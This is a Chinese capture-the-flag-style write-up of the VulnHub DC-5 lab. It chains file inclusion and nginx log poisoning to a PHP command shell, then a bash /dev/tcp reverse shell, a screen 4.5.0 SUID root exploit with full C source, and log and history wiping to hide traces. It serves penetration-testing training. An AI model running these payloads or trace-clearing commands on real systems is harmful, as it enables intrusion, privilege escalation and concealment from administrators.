vulnhub靶场【DC系列】之5

前言

靶机：DC-5，IP地址为192.168.10.4

攻击：kali，IP地址为192.168.10.2

都采用VMWare，网卡为桥接模式

对于文章中涉及到的靶场以及工具，我放置网盘中https://pan.quark.cn/s/2fcf53ade985

主机发现

使用arp-scan -l或者netdiscover -r 192.168.10.1/24

信息收集

使用nmap扫描端口

网站信息探测

访问80端口默认界面，查看页面源代码，发现脚本语言为php

使用gobuster、dirsearch、ffuf、dirb、dirbuster等工具对目标进行目录爆破

gobuster dir -u http://192.168.10.4 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,md -d -b 404

漏洞寻找

既然是php文件，并且当前也没有什么可用，那么使用ffuf对这些php脚本文件进行模糊测试，测试有无一些隐藏的参数，知道几个的php文件，来回进行一个测试，最终在thankyou.php发现

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.4/thankyou.php?FUZZ=./contact.php -fs 852
#FUZZ是前面字典的测试点，也就是测试参数
#FUZZ后面的是已知的网站php文件，如果存在文件包含等，可能就会显示
#-fs是过滤该字节大小的数据，也就是原始的thankyou.php的数据大小

发现参数file，那么再测试有什么可注入点，通过这个参数

ffuf -c -w /usr/share/wordlists/wfuzz/Injections/All_attack.txt -u http://192.168.10.4/thankyou.php?file=FUZZ -fs 835
#-fs后面的数据变化了，是因为数据大小发生变化，在有file参数后，原始的大小变为835

通过构造链接，获取/etc/passwd文件，发现靶机内有一个用户dc

但是这里没有办法获取/etc/shadow文件，所以继续寻找其他点，尝试使用从github上获取的字典，继续进行测试

ffuf -c -w /usr/share/wordlists/linux_file.txt -u http://192.168.10.4/thankyou.php?file=FUZZ -fs 835

漏洞利用

但是这里访问一圈，没有获取到有用信息。

这时候去前面看了一下nmap的扫描， 想起这里的网站使用的是nginx，偏偏使用的字典没有包括这个，这里就手动输入

路径	作用
/etc/nginx/nginx.conf	主配置文件
/var/log/nginx/access.log	访问日志配置，它将访问日志记录
/var/log/nginx/error.log	记录 Nginx 服务器在运行过程中出现的各种错误信息

经过测试，日志文件error.log会记录信息，但是access.log并无记录信息

既然是错误的日志，那么就尝试给予一个传参的值为php代码，然后进行测试

先传入简单的代码进行测试<?php system('id');?>

http://192.168.10.4/thankyou.php?file=<?php system('id');>

访问记录错误的日志文件，发现其中的代码被进行url编码了

访问链接，最好以查看源代码的形式，不然容易出错，或者看不清

view-source:http://192.168.10.4/thankyou.php?file=/var/log/nginx/error.log

那么尝试使用burp进行抓取数据包，测试其在哪个阶段进行的url编码，发现是在到服务器之前进行的编码，那么可以在burp中修改，并且，还是有可能注入的

啧，这里靶机出了问题，再访问error.log没有任何信息，所以无奈之下，重装靶机，可能之前进行爆破的时候，太多导致的

这时候把编码的代码进行复原，然后进行转发

再次访问access.log，这里为什么是access.log不是error.log了呢，因为重装后，好了，access.log有数据了，不过访问error.log也是可以看到数据的

访问access.log的效果如下

view-source:http://192.168.10.4/thankyou.php?file=/var/log/nginx/access.log

访问error.log的效果如下

view-source:http://192.168.10.4/thankyou.php?file=/var/log/nginx/error.log

而且说白了，在进行构造时，参数是不是file都行，只要在进行查看，也就是文件包含时，使用即可

这里确定可以执行php代码，那么就尝试设置一个参数，来进行命令执行

构造代码<?php system($_REQUEST['cmd']);?>，然后再次通过burp改包后转发

然后在浏览器上访问，这时候就需要构造链接了

view-source:http://192.168.10.4/thankyou.php?file=/var/log/nginx/access.log&cmd=ls

反弹shell

cmd用于接收用户的输入，然后调用system函数执行，也就相当于命令执行了

尝试通过这样构造一个bash反弹

/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.10.2/9999 0>&1'#进行URL编码后
%2fbin%2fbash+-c+%27%2fbin%2fbash+-i+%3e%26+%2fdev%2ftcp%2f192.168.10.2%2f9999+0%3e%261%27

把URL编码后的语句传参给cmd，就可以获取到一个反弹shell

在查看当前靶机内用户，发现只要dc，并且其中的目录下，并没有任何文件，个人感觉，可能都不需要提权至dc了

使用find寻找具有SUID权限的文件，啧，发现exim4文件，是不是很眼熟，因为这个和上个靶机很像，就是不知道版本是否一致

提权

测试发现exim4的版本为4.84-2，在使用searchsploit未对应版本，也未在范围内

searchsploit exim 4.8 privilege

不过发现一个不常见的命令screen-4.5.0

使用searchsploit搜索，发现有该版本的提权脚本

searchsploit screen 4.5.0

使用locate定位到文件的位置，然后为了方便复制到当前目录下的位置，然后查看脚本文件内容，发现涉及到gcc编译

那么测试靶机内有无环境，就是有无安装gcc，并且能否使用wget

不过在执行脚本后，直接出错，不过观察脚本，按理说，应该是可以进行创建等操作的，既然在靶机内无法直接执行脚本，那么就把脚本中的内容进行分段处理，这里就是三部分，两个c文件，然后还有编译的操作命令。

注意，我这里因为出现失误，所以后续的代码编辑，文件名称会改变，不过效果不变

//第一部分的c文件
//下面代码存放在 /tmp/libhax.c#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){chown("/tmp/shell", 0, 0);chmod("/tmp/shell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!\n");
}//执行下面的命令
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c

然后创建第二个

//第二部分的c文件#include <stdio.h>
int main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL);
}//执行下面的命令
gcc -o /tmp/shell /tmp/shell.c
rm -f /tmp/shell.c

然后创建一个脚本文件，或者这里的命令，一个个去执行也是可以的

cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/shell  

因为靶机内文件编译器有问题，所以这里把两个c文件以及脚本文件编写好，然后通过python，靶机使用wget下载到/tmp目录。

不过在靶机使用gcc编译出现以下问题时，配置以下临时环境变量即可

#报错信息
gcc: error trying to exec 'cc1': execvp: No such file or directory

可以使用临时环境变量配置，一般的gcc关键目录可能都在这个

export PATH=$PATH:/usr/local/bin/

这时候再按照两个c文件对应的gcc编译命令，然后就可以编译成功

执行脚本文件，即可发现提权成功

查看flag

清除痕迹

这里必须要说一下，因为这次对于nginx的日志都已经出现问题了，所以肯定有大量的记录

sed -i "/192.168.10.2/d" /var/log/nginx/access.log
sed -i "/192.168.10.2/d" /var/log/nginx/error.log

对于其他的日志，直接置空或者怎么样都行

历史命令清理

history -r
history -c

总结

该靶场主要考察以下几点：

1. 对于网站只有由php语言编写的时候，要测试有无隐藏的参数，或许这个参数具有文件包含功能，甚至可能会有远程的文件包含
2. 对于常见的几种web中间件的配置文件的了解，这里是考察nginx的日志文件，并通过该日志文件触发php代码，以达到文件包含+命令执行的效果
3. 反弹shell的构造，这里太多了，靶机支持的情况下，可以百度测试，这里提供一个地址https://forum.ywhack.com/shell.php
4. 对于提权操作，搜索具有SUID权限的文件后，可以查看文件是否具有版本漏洞，可以借助searchsploit，然后以及靶机内信息收集来确定版本，以确定是否具有漏洞，这里忘了截图uname -a这里可以看到为GNU系统